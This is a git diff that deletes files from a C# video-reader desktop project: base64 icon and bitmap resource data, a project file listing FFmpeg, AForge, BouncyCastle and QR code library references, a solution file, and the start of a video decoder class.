-//////////////////////////////////////////////////////////////////////////7+ -/v/Gxsb/PDw8/wUFBf8AAAD/AAAA/wAAAP8AAAD/AwMD/zIyMv+7u7v//f39//////////////// -//////////////////////////////////////////////////////////////////////D+/v5O -AAAAAAAAAAAAAAAAAAAAAP7+/tf+/v7f/v7+3/7+/t/+/v7f/v7+3/7+/t/+/v7f/v7+3/7+/t/+ -/v7f/v7+3/7+/t/+/v7f/v7+3/7+/t/+/v7f4eHh34KCgt8tLS3eBQUF2QICAtcVFRXLampqydbW -1sn9/f3J/v7+yf7+/sn+/v7J/v7+yf7+/sn+/v7J/v7+yf7+/sn+/v7J/v7+yf7+/sn+/v7J/v7+ -yf7+/sn+/v7J/v7+vP7+/mX///8IAAAAAAAAAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAA -AAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAA -AwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAAD -AADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMA -AMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAA -wAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADA -AAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAA -AAAAAwAAwAAAAAADAAAoAAAAKAAAAFAAAAABACAAAAAAAEAaAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAD+/v4f/v7+mP7+/sT+/v7F/v7+xePj48Xa2trF+/v7xf7+/sX+/v7F/v7+xf7+/sX+/v7F -/v7+xf7+/sXw8PDFqampxSgoKMovLy/ImJiYxdnZ2cX09PTF/f39xf7+/sX+/v7F/v7+xf7+/sX5 -+fnF6urqxc/Pz8Xq6urF/v7+xf7+/sX+/v7F/v7+rP7+/jkAAAAAAAAAAAAAAAAAAAAA/v7+jP7+ -/v3///////////////+QkJD/Kioq/2hoaP+lpaX/ycnJ/9ra2v/d3d3/19fX/8DAwP+QkJD/SUlJ -/xEREf8AAAD/AAAA/wkJCf8mJib/SkpK/2pqav+AgID/iIiI/4ODg/9wcHD/VlZW/zc3N/8eHh7/ -oaGh//////////////////7+/v7+/v68AAAAAAAAAAAAAAAAAAAAAP7+/rP////////////////6 -+vr/WVlZ/wAAAP8AAAD/BQUF/xAQEP8cHBz/Hh4e/xkZGf8MDAz/AgIC/wAAAP8AAAD/AAAA/wAA -AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/2dnZ//8/Pz///// -/////////////v7+2wAAAAAAAAAAAAAAAAAAAAD+/v60////////////////6urq/zExMf8AAAD/ -AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8A -AAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP84ODj/7u7u//////////////////7+ -/twAAAAAAAAAAAAAAAAAAAAA/v7+tP///////////////87Ozv8UFBT/AAAA/wAAAP8AAAD/AAAA -/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/ -AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/FxcX/9HR0f/////////////////+/v7cAAAAAAAAAAAA -AAAAAAAAAP7+/rT///////////////+lpaX/BQUF/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA -AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA -/wAAAP8AAAD/AAAA/wUFBf+lpaX//////////////////v7+3AAAAAAAAAAAAAAAAAAAAAD+/v60 -/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-AQH/Dw8P/zY2Nv+CgoL/6Ojo/+Dg4P/BwcH/np6e/3p6ev9+fn7/7u7u3AAAAAAAAAAAAAAAAAAA -AAD+/v68///////////////////////////7+/v/oqKi/xYWFv8AAAD/AAAA/wAAAP8AAAD/AAAA -/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8EBAT/NDQ0/wYGBv8AAAD/AAAA/wAAAP8NDQ3/ -kZGR//r6+v/////////////////+/v7//f39//39/dwAAAAAAAAAAAAAAAAAAAAA/v7+y/////// -//////////////////////////r6+v+hoaH/FhYW/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA -AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8ICAj/fn5+//b29v////////// -///////////////////////+/v7cAAAAAAAAAAAAAAAAAAAAAP7+/sv///////////////////// -////////////////+vr6/6Kiov8YGBj/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8A -AAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8FBQX/a2tr//Hx8f////////////////////////////// -/////////v7+3AAAAAAAAAAAAAAAAAAAAAD+/v7L//////////////////////////////////// -///////7+/v/paWl/xgYGP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/ -AAAA/wAAAP8DAwP/WVlZ/+rq6v////////////////////////////////////////////7+/twA -AAAAAAAAAAAAAAAAAAAA/v7+y/////////////////////////////////////////////////v7 -+/+kpKT/FxcX/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8BAQH/SUlJ -/+Li4v/////////////////////////////////////////////////+/v7cAAAAAAAAAAAAAAAA -AAAAAP7+/sv/////////////////////////////////////////////////////+/v7/6Kiov8Y -GBj/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8DAwP/PT09/9fX1/////////////// -/////////////////////////////////////////v7+3AAAAAAAAAAAAAAAAAAAAAD+/v7L//// -///////////////////////////////////////////////////////7+/v/ubm5/1ZWVv8nJyf/ -FRUV/w8PD/8ODg7/ExMT/yQkJP9HR0f/ioqK/97e3v/+/v7///////////////////////////// -//////////////////////////7+/twAAAAAAAAAAAAAAAAAAAAA/v7+y/////////////////// -///////////////////////////////////////////////////4+Pj/5OTk/9HR0f/FxcX/xsbG -/8/Pz//h4eH/9fX1//7+/v////////////////////////////////////////////////////// -///////////+/v7cAAAAAAAAAAAAAAAAAAAAAP7+/sv///////////////////////////////// -////////////////////////////////////9vb2/8DAwP9/f3//ZWVl/3p6ev+5ubn/8/Pz//// -/////////////////////////////////////////////////////////////////////////v7+ -3AAAAAAAAAAAAAAAAAAAAAD+/v7L//////////////////////////////////////////////// -////////////////6Ojo/2pqav8RERH/AQEB/wAAAP8AAAD/Dg4O/11dXf/g4OD///////////// -//////////////////////////////////////////////////////////7+/twAAAAAAAAAAAAA -AAAAAAAA/v7+y///////////////////////////////////////////////////////////9PT0 -/2dnZ/8EBAT/AAAA/wAAAP8AAAD/AAAA/wAAAP8CAgL/VlZW/+/v7/////////////////////// -///////////////////////////////////////////+/v7cAAAAAAAAAAAAAAAAAAAAAP7+/sv/ -/////////////////////////////////////////////////////////7m5uf8PDw//AAAA/wAA -AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wkJCf+np6f///////////////////////////////////// -/////////////////////////////v7+3AAAAAAAAAAAAAAAAAAAAAD+/v7L//////////////// -//////////////////////////////////////39/f9zc3P/AAAA/wAAAP8AAAD/AAAA/wAAAP8A -AAD/AAAA/wAAAP8AAAD/Xl5e//v7+/////////////////////////////////////////////// -//////////////7+/twAAAAAAAAAAAAAAAAAAAAA/v7+y/////////////////////////////// -///////////////////////6+vr/VFRU/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/ -AAAA/0FBQf/09PT////////////////////////////////////////////////////////////+ -/v7cAAAAAAAAAAAAAAAAAAAAAP7+/sv///////////////////////////////////////////// -/////////Pz8/2NjY/8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP9PT0//+Pj4 -/////////////////////////////////////////////////////////////v7+3AAAAAAAAAAA -AAAAAAAAAAD+/v7L//////////////////////////////////////////////////////////+f -n5//BQUF/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8DAwP/iYmJ//7+/v////////////// -//////////////////////////////////////////////7+/twAAAAAAAAAAAAAAAAAAAAA/v7+ -y///////////////////////////////////////////////////////////5ubm/z09Pf8AAAD/ -AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/Ly8v/9zc3P////////////////////////////////// -///////////////////////////////+/v7bAAAAAAAAAAAAAAAAAAAAAP7+/sv///////////// -//////////////////////////////////////////////7+/v/Hx8f/MzMz/wICAv8AAAD/AAAA -/wAAAP8BAQH/KCgo/7m5uf/+/v7///////////////////////////////////////////////// -/////////////////v7+vwAAAAAAAAAAAAAAAAAAAAD+/v6y/v7+4P7+/uD+/v7g/v7+4P7+/uD+ -/v7g/v7+4P7+/uD+/v7g/v7+4P7+/uD+/v7g/f394NbW1uBoaGjgGxsb3gICAtoKCgrSUFBQzsjI -yM79/f3O/v7+zv7+/s7+/v7O/v7+zv7+/s7+/v7O/v7+zv7+/s7+/v7O/v7+zv7+/s7+/v7O/v7+ -tf7+/j8AAAAAAAAAAMAAAAADAAAAwAAAAAMAAADAAAAAAwAAAMAAAAADAAAAwAAAAAMAAADAAAAA -AwAAAMAAAAADAAAAwAAAAAMAAADAAAAAAwAAAMAAAAADAAAAwAAAAAMAAADAAAAAAwAAAMAAAAAD -AAAAwAAAAAMAAADAAAAAAwAAAMAAAAADAAAAwAAAAAMAAADAAAAAAwAAAMAAAAADAAAAwAAAAAMA -AADAAAAAAwAAAMAAAAADAAAAwAAAAAMAAADAAAAAAwAAAMAAAAADAAAAwAAAAAMAAADAAAAAAwAA -AMAAAAADAAAAwAAAAAMAAADAAAAAAwAAAMAAAAADAAAAwAAAAAMAAADAAAAAAwAAA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AD/AAAA/y8vL//Ozs7///////////////////////7+/v0AAAAAAAAAAAAA -AAD+/v5+///////////////////////////+/v7/wMDA/yoqKv8AAAD/AAAA/wAAAP8AAAD/AAAA -/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8kJCT/wMDA//7+/v////////////////////// -/v7+/QAAAAAAAAAAAAAAAP7+/n7////////////////////////////////+/v7/xMTE/ywsLP8A -AAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/Ghoa/7Gxsf/9/f3///////// -///////////////////+/v79AAAAAAAAAAAAAAAA/v7+fv////////////////////////////// -///////+/v7/xMTE/ywsLP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/xMTE/+hoaH/ -/Pz8//////////////////////////////////7+/v0AAAAAAAAAAAAAAAD+/v5+//////////// -///////////////////////////////+/v7/xMTE/zg4OP8ICAj/AQEB/wAAAP8AAAD/AQEB/wkJ -Cf8oKCj/mJiY//n5+f///////////////////////////////////////v7+/QAAAAAAAAAAAAAA -AP7+/n7////////////////////////////////////////////////+/v7/5eXl/7Gxsf+Li4v/ -eXl5/3l5ef+Ojo7/tLS0/+Hh4f/8/Pz////////////////////////////////////////////+ -/v79AAAAAAAAAAAAAAAA/v7+fv////////////////////////////////////////////////// -///+/v7/39/f/6Kiov+Dg4P/np6e/9vb2//9/f3///////////////////////////////////// -//////////////////7+/v0AAAAAAAAAAAAAAAD+/v5+//////////////////////////////// -/////////////////f39/7S0tP8uLi7/BQUF/wAAAP8EBAT/KSkp/6qqqv/8/Pz///////////// -/////////////////////////////////////v7+/QAAAAAAAAAAAAAAAP7+/n7///////////// -///////////////////////////////////U1NT/JiYm/wAAAP8AAAD/AAAA/wAAAP8AAAD/Hh4e -/8rKyv/////////////////////////////////////////////////+/v79AAAAAAAAAAAAAAAA -/v7+fv///////////////////////////////////////////v7+/4KCgv8CAgL/AAAA/wAAAP8A -AAD/AAAA/wAAAP8BAQH/c3Nz//39/f////////////////////////////////////////////7+ -/v0AAAAAAAAAAAAAAAD+/v5+///////////////////////////////////////////7+/v/WFhY -/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP9KSkr/9/f3//////////////////////////// -/////////////////v7+/QAAAAAAAAAAAAAAAP7+/n7///////////////////////////////// -//////////39/f9nZ2f/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/1hYWP/6+vr///////// -///////////////////////////////////+/v79AAAAAAAAAAAAAAAA/v7+fv////////////// -/////////////////////////////////62trf8LCwv/AAAA/wAAAP8AAAD/AAAA/wAAAP8HBwf/ -np6e//////////////////////////////////////////////////7+/v0AAAAAAAAAAAAAAAD+ -/v5+////////////////////////////////////////////////8vLy/2hoaP8HBwf/AAAA/wAA -AP8AAAD/BQUF/1xcXP/u7u7//////////////////////////////////////////////////v7+ -+QAAAAAAAAAAAAAAAP7+/m7+/v7f/v7+3/7+/t/+/v7f/v7+3/7+/t/+/v7f/v7+3/7+/t/+/v7f -6+vr34CAgN8gICDeAgIC2hAQENRubm7S5eXl0v7+/tL+/v7S/v7+0v7+/tL+/v7S/v7+0v7+/tL+ -/v7S/v7+0v7+/tD+/v6dAAAAAAAAAACAAAADgAAAA4AAAAOAAAADgAAAA4AAAAOAAAADgAAAA4AA -AAOAAAADgAAAA4AAAAOAAAADgAAAA4AAAAOAAAADgAAAA4AAAAOAAAADgAAAA4AAAAOAAAADgAAA -A4AAAAOAAAADgAAAA4AAAAOAAAADgAAAA4AAAAOAAAADgAAAAygAAAAYAAAAMAAAAAEAIAAAAAAA -YAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+jv7+/s/4+PjQn5+f0L+/v9Dl5eXQ8PDw0Ozs7NDS -0tLQioqK0B8fH9I9PT3Rj4+P0Lq6utDKysrQx8fH0LKystCMjIzQy8vL0P7+/tD+/v7L/v7+ZQAA -AAAAAAAA/v7+4f7+/v7k5OT+Kioq/hMTE/4tLS3+PDw8/jY2Nv4eHh7+BgYG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8AAAD/AAAA/wAAAP8UFBT/tLS0/4WFhf9gYGD/Ojo6/xsbG/8R -ERH/o6Oj3QAAAAAAAAAA/v7+zv/////4+Pj/kZGR/w8PD/8DAwP/BgYG/wAAAP8AAAD/AAAA/wsL -C/9FRUX/CwsL/ysrK/+1tbX/2NjY/7y8vP/V1dXdAAAAAAAAAAD+/v7V///////////4+Pj/kJCQ -/xAQEP8AAAD/AAAA/wAAAP8AAAD/AAAA/wEBAf8HBwf/enp6//X19f////////////7+/t0AAAAA -AAAAAP7+/tb////////////////4+Pj/kZGR/xAQEP8AAAD/AAAA/wAAAP8AAAD/BAQE/2dnZ//w -8PD//////////////////v7+3QAAAAAAAAAA/v7+1v/////////////////////4+Pj/l5eX/y8v -L/8ZGRn/GBgY/yoqKv9wcHD/6enp///////////////////////+/v7dAAAAAAAAAAD+/v7W//// -///////////////////////7+/v/ycnJ/4yMjP+bm5v/29vb//r6+v////////////////////// -//////7+/t0AAAAAAAAAAP7+/tb//////////////////////v7+/8bGxv8xMTH/CAgI/xAQEP9u -bm7/8vLy/////////////////////////////v7+3QAAAAAAAAAA/v7+1v////////////////// -///4+Pj/WFhY/wAAAP8AAAD/AAAA/wwMDP+5ubn////////////////////////////+/v7dAAAA -AAAAAAD+/v7W//////////////////////Ly8v88PDz/AAAA/wAAAP8AAAD/AwMD/6CgoP////// -//////////////////////7+/t0AAAAAAAAAAP7+/tb/////////////////////+/v7/3Z2dv8D -AwP/AAAA/wAAAP8cHBz/zc3N/////////////////////////////v7+3AAAAAAAAAAA/v7+u/7+ -/t/+/v7f/v7+3/7+/t/+/v7f4eHh31RUVN8ICAjdFhYW2JaWltf7+/vX/v7+1/7+/tf+/v7X/v7+ -1/7+/tf+/v6dAAAAAIAAEACAABAAgAAQAIAAEACAABAAgAAQAIAAEACAABAAgAAQAIAAEACAABAA -gAAQAIAAEACAABAAgAAQAIAAEACAABAAgAAQAIAAEACAABAAKAAAABAAAAAgAAAAAQAgAAAAAABA -BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///94/v7+1KGhodWCgoLVra2t1aurq9VxcXHVGxsb1js7 -O9Z1dXXVhoaG1XJyctVvb2/V8PDw1f7+/r0AAAAA/v7+rPn5+f9TU1P/AwMD/wkJCf8JCQn/AgIC -/wAAAP8AAAD/AQEB/wICAv8BAQH/GRkZ/9TU1P/+/v7zAAAAAOTk5KzV1dX/Kysr/wAAAP8AAAD/ -AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wUFBf+np6f//v7+8wAAAAAxMTGuaWlp/xAQEP8A -AAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/bW1t/+3t7fMAAAAAc3NzrF1d -Xf8DAwP/AAAA/wAAAP8AAAD/AAAA/wEBAf8AAAD/AAAA/wAAAP8AAAD/AAAA/zc3N/9ra2vzAAAA -AO3t7axcXFz/AAAA/wAAAP8AAAD/AgIC/yUlJf9WVlb/GRkZ/wEBAf8AAAD/AAAA/wAAAP8YGBj/ -fHx88wAAAADn5+esOTk5/wgICP8ZGRn/Ojo6/11dXf9NTU3/NDQ0/2dnZ/9FRUX/Dw8P/wAAAP8A -AAD/BQUF/52dnfMAAAAA6urqrKioqP+VlZX/WVlZ/1paWv9YWFj/AgIC/wAAAP8KCgr/f39//4GB -gf9ISEj/LCws/xUVFf9sbGzzAAAAAP7+/rD/////6enp/19fX/8HBwf/BwcH/wAAAP8AAAD/AAAA -/y4uLv8VFRX/QkJC/83Nzf/Pz8//zc3N8wAAAAD+/v63///////////q6ur/ZmZm/wYGBv8AAAD/ -AAAA/wAAAP8AAAD/HBwc/7Ozs//9/f3///////7+/vMAAAAA/v7+t////////////////+7u7v9v -b2//ExMT/wgICP8LCwv/Jycn/6qqqv/8/Pz////////////+/v7zAAAAAP7+/rf///////////// -////////8/Pz/6urq/91dXX/nJyc/93d3f/8/Pz//////////////////v7+8wAAAAD+/v63//// -/////////////////8PDw/8tLS3/CwsL/ywsLP/BwcH///////////////////////7+/vMAAAAA -/v7+t/////////////////39/f9nZ2f/AAAA/wAAAP8AAAD/ZGRk//z8/P/////////////////+ -/v7zAAAAAP7+/rf////////////////+/v7/d3d3/wICAv8AAAD/AQEB/3R0dP/9/f3///////// -/////////v7+8wAAAAD///+g/v7+3/7+/t/+/v7f/v7+39jY2N8+Pj7fBQUF3Dg4ONnU1NTZ/v7+ -2f7+/tn+/v7Z/v7+2f7+/sGAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAA -gAAAAIAAAACAAAAAgAAAAIAAAACAAAAACw==AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD -dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0 -ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAApDcAAAKJUE5HDQoaCgAA -AA1JSERSAAAAgAAAAIAIBgAAAMM+YcsAAAAEZ0FNQQAAsY8L/GEFAAA3W0lEQVR4Xu19B3RVVfb+ -rFm/NWvWrFmzZs0fHGccHUex0AQBpYiICoiAgIggKFVENKGFXgxNeu8EEiBAQoeEl9ACqYSSQggh -pNJ77yIis//7O/ec+867794kYNTg5Ky110veu++ec/b37W/vc9v7XWkrbaWttJW20lbaSttvpVWe -kvKHClOSX6kwObkVv/pVnJIyk201286KU5LTKk5NPlZxagrsFF4rTU09Vmlaah5bKltUpen7V1ae -sX/qKzPS+lSZdaB59XkZL9ddkvV/cvelrSS1qtPTfldhUlKl8pOTezDgS9gy2O4z8ARj0IVVm7mf -Gi48SK2WZVKHldn0+dpc6rE+j75cn0vd1uVS+9Bs/uwwNQo8RDXnHKDK0/cbNsOwV2am3WUypL46 -Jz2gxvyMrnWXZJeTQyhtv3R7afzev7w8cV/78pOSlrNdYMAJVnlqCjVbnEH9XEdo7u4ztDnrCmWc -vU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6rf -A95jDIH36KP+p/od4F3GEHiXPu5/p38PvM8YAu/Uh77674H3GkMA4N3GEAB4tzEEAN5tDAGAdxtD -AODdxhAAeLcxBADebQwBgHcbQwDg3cYQAHi3MQQA3m0MAYB3G0MA4N3GEAB4tzEEAN5tDAGAdxtD -AODdxhAAeLcxBADebQwBgHcbQwDg3cYQAHi3MQQA3m0MAYB3G0MA4N3GEAB4tzEEAN5tDAGAdxtD -AODdxhAAeLcxBADebQwBgHcbQwDg3cYQAHi3MQQA3m0MAYB3G0MA4N3GEAB4tzEEAN5tDAGAdxtD -AODN/vF//w8K6B+8FR0z2gAAAABJRU5ErkJgggs= \ No newline at end of file diff --git a/output/VideoReader.csproj b/output/VideoReader.csproj deleted file mode 100644 index 1629217..0000000 --- a/output/VideoReader.csproj +++ /dev/null @@ -1,59 +0,0 @@ - - - VideoReader - False - WinExe - True - net472 - x86 - - - 12.0 - True - - - app.ico - - - - - - - ../desktop/FFmpeg.AutoGen.dll - - - ../desktop/AForge.dll - - - ../desktop/AForge.Imaging.dll - - - ../desktop/AForge.Math.dll - - - ../desktop/BouncyCastle.Crypto.dll - - - ../desktop/MessagingToolkit.QRCode.dll - - - - - - - - - - - - - - - - - - VideoReader\Form1.cs - - - - \ No newline at end of file diff --git a/output/VideoReader.sln b/output/VideoReader.sln deleted file mode 100644 index db5ff2d..0000000 --- a/output/VideoReader.sln +++ /dev/null @@ -1,81 +0,0 @@ -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.0.31903.59 -MinimumVisualStudioVersion = 10.0.40219.1 - -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VideoReader", "VideoReader.csproj", "{12345678-1234-1234-1234-123456789012}" -EndProject - -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AForge", "Libraries\AForge\AForge.csproj", "{12345678-1234-1234-1234-123456789013}" -EndProject - -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AForge.Imaging", "Libraries\AForge.Imaging\AForge.Imaging.csproj", "{12345678-1234-1234-1234-123456789014}" -EndProject - -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AForge.Math", "Libraries\AForge.Math\AForge.Math.csproj", "{12345678-1234-1234-1234-123456789015}" -EndProject - -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BouncyCastle.Crypto", "Libraries\BouncyCastle.Crypto\BouncyCastle.Crypto.csproj", "{12345678-1234-1234-1234-123456789016}" -EndProject - -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FFmpeg.AutoGen", "Libraries\FFmpeg.AutoGen\FFmpeg.AutoGen.csproj", "{12345678-1234-1234-1234-123456789017}" -EndProject - -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MessagingToolkit.QRCode", "Libraries\MessagingToolkit.QRCode\MessagingToolkit.QRCode.csproj", "{12345678-1234-1234-1234-123456789018}" -EndProject - -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Debug|x86 = Debug|x86 - Release|Any CPU = Release|Any CPU - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {12345678-1234-1234-1234-123456789012}.Debug|Any CPU.ActiveCfg = Debug|x86 - {12345678-1234-1234-1234-123456789012}.Debug|x86.ActiveCfg = Debug|x86 - {12345678-1234-1234-1234-123456789012}.Debug|x86.Build.0 = Debug|x86 - {12345678-1234-1234-1234-123456789012}.Release|Any CPU.ActiveCfg = Release|x86 - {12345678-1234-1234-1234-123456789012}.Release|x86.ActiveCfg = Release|x86 - {12345678-1234-1234-1234-123456789012}.Release|x86.Build.0 = Release|x86 - {12345678-1234-1234-1234-123456789013}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789013}.Debug|Any CPU.Build.0 = Debug|Any CPU - {12345678-1234-1234-1234-123456789013}.Debug|x86.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789013}.Release|Any CPU.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789013}.Release|Any CPU.Build.0 = Release|Any CPU - {12345678-1234-1234-1234-123456789013}.Release|x86.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789014}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789014}.Debug|Any CPU.Build.0 = Debug|Any CPU - {12345678-1234-1234-1234-123456789014}.Debug|x86.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789014}.Release|Any CPU.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789014}.Release|Any CPU.Build.0 = Release|Any CPU - {12345678-1234-1234-1234-123456789014}.Release|x86.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789015}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789015}.Debug|Any CPU.Build.0 = Debug|Any CPU - {12345678-1234-1234-1234-123456789015}.Debug|x86.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789015}.Release|Any CPU.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789015}.Release|Any CPU.Build.0 = Release|Any CPU - {12345678-1234-1234-1234-123456789015}.Release|x86.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789016}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789016}.Debug|Any CPU.Build.0 = Debug|Any CPU - {12345678-1234-1234-1234-123456789016}.Debug|x86.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789016}.Release|Any CPU.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789016}.Release|Any CPU.Build.0 = Release|Any CPU - {12345678-1234-1234-1234-123456789016}.Release|x86.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789017}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789017}.Debug|Any CPU.Build.0 = Debug|Any CPU - {12345678-1234-1234-1234-123456789017}.Debug|x86.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789017}.Release|Any CPU.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789017}.Release|Any CPU.Build.0 = Release|Any CPU - {12345678-1234-1234-1234-123456789017}.Release|x86.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789018}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789018}.Debug|Any CPU.Build.0 = Debug|Any CPU - {12345678-1234-1234-1234-123456789018}.Debug|x86.ActiveCfg = Debug|Any CPU - {12345678-1234-1234-1234-123456789018}.Release|Any CPU.ActiveCfg = Release|Any CPU - {12345678-1234-1234-1234-123456789018}.Release|Any CPU.Build.0 = Release|Any CPU - {12345678-1234-1234-1234-123456789018}.Release|x86.ActiveCfg = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal \ No newline at end of file diff --git a/output/VideoReader/Decoder.cs b/output/VideoReader/Decoder.cs deleted file mode 100644 index f2108a5..0000000 --- a/output/VideoReader/Decoder.cs +++ /dev/null @@ -1,578 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Linq; -using System.Threading; -using FFmpeg.AutoGen; -using VideoReader.Properties; - -namespace VideoReader; - -internal class Decoder -{ - public struct Fram - { - public long num; - - public long key; - - public byte[] data; - - public Fram(long Num, long Key, byte[] Data) - { - num = Num; - key = Key; - data = Data; - } - } - - private bool save_video_flag = false; - - public bool save_video = false; - - private DateTime endFrame = DateTime.Now; - - private unsafe AVCodec* codec; - - private unsafe sbyte* pConvertedFrameBuffer = null; - - private unsafe sbyte* pConvertedFrameBufferEnd = null; - - public long endkey; - - private DateTime timeForFPS = DateTime.MinValue; - - private int frameForFPS; - - public double FPS; - - private bool dec; - - private Queue fpsAver; - - public ConcurrentDictionary frames; - - private Thread saveVideo; - - private bool startSaveVideo; - - private bool blockSaveVideo = false; - - private DateTime endAddSaveVideo = DateTime.MinValue; - - private ConcurrentDictionary save = new ConcurrentDictionary(); - - private int fps = 30; - - private byte[] configN = null; - - private ConcurrentQueue outstr = new ConcurrentQueue(); - - private ConcurrentQueue outstr1 = new ConcurrentQueue(); - - private ConcurrentQueue save_buff = new ConcurrentQueue(); - - private object block = new object(); - - private string name = $"{DateTime.Now.Ticks.ToString()}.tmp"; - - private string nam0 = $"{DateTime.Now.Ticks.ToString()}.tm0"; - - private long GetImgEndFrame = 0L; - - private long GetImgEndKey = long.MaxValue; - - public long min - { - get - { - if (frames.Count > 0) - { - try - { - return frames.Keys.Min(); - } - catch (Exception value) - { - Console.WriteLine(value); - while (frames.Count > 6000) - { - frames.TryRemove(frames.First().Key, out var _); - } - return frames.First().Key; - } - } - return 0L; - } - set - { - } - } - - public long max - { - get - { - if (frames.Count > 0) - { - try - { - return frames.Keys.Max(); - } - catch (Exception value) - { - Console.WriteLine(value); - while (frames.Count > 6000) - { - frames.TryRemove(frames.First().Key, out var _); - } 